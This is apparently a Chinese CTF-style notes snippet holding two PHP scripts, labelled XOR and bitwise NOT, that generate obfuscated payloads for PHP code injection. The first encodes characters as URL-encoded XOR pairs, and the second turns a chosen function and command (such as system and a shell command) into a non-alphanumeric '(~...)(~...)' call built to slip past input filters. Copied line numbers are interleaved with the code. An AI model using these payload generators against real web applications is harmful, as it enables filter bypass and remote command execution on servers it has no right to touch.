异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$l='';
$r='';
$argv= str_split("b");//更改里面的值，改为需要的字符
for($i=0;$i<count($argv);$i++)
{
    for($j=0;$j<255;$j++)
    {
        $k=chr($j)^chr(255);
        if($k==$argv[$i])
        {
            if($j<16)
            {
                $l.="%ff";
                $r.="%0".dechex($j);
                continue;
            }
            $l.="%ff";
            $r.="%".dechex($j);
        }
    }
}
echo "\{$l^$r\}";

取反

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';